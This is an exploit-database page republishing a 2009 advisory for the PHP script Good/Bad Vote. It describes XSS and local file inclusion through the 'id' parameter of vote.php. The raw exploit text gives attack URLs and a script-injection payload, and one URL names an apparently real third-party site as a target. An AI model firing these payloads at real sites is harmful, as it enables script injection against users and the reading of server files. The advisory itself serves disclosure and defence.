header-logo
Suggest Exploit
vendor:
Good/Bad Vote
by:
Moudi
8,8
CVSS
HIGH
Cross-Site Scripting (XSS) and Local File Inclusion (LFI)
79, 98
CWE
Product Name: Good/Bad Vote
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

Good/Bad Vote (XSS/LFI) Vulnerability

The vulnerability exists due to insufficient sanitization of user-supplied input in the 'id' parameter of the 'vote.php' script. A remote attacker can execute arbitrary HTML and script code in a browser in the context of the vulnerable website. Also, an attacker can include a local file from the vulnerable server.

Mitigation:

Input validation should be used to prevent the exploitation of this vulnerability. It is recommended to restrict the input data to a list of expected values.
Source

Exploit-DB raw data:

###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [»] Good/Bad Vote (XSS/LFI) Vulnerability
==============================================================================

	[»] Script:             [ Good/Bad Vote ]
	[»] Language:           [ PHP ]
        [»] Download:           [ http://www.scriptsez.net/index.php?action=details&cat=Polls%20and%20Voting&id=1086552418  ]
	[»] Founder:            [ Moudi <m0udi@9.cn> ]
        [»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man...]
        [»] Team:               [ EvilWay ]
        [»] Dork:               [ OFF ]
        [»] Price:              [ 6 US $ ]

###########################################################################

===[ Exploit XSS vulnerability ]===	
	
	[»] http://www.site.com/patch/vote.php?action=vote&id=[XSS]&ficdest=0%2Edat&midcast=0%2Etxt

        [»] http://searchall.iwebland.com:80/sigs/vote.php?action=vote&id=[XSS]&ficdest=0%2Edat&midcast=0%2Etxt
            XSS TO ADD: 1<script>alert(314154736094)</script>
           
===[ Exploit LFI ]=== 

       [»] http://www.site.com/patch/vote.php?action=dovote&id=[LFI]&ficdest=.dat&midcast=.txt

Author: Moudi

###########################################################################

# milw0rm.com [2009-07-17]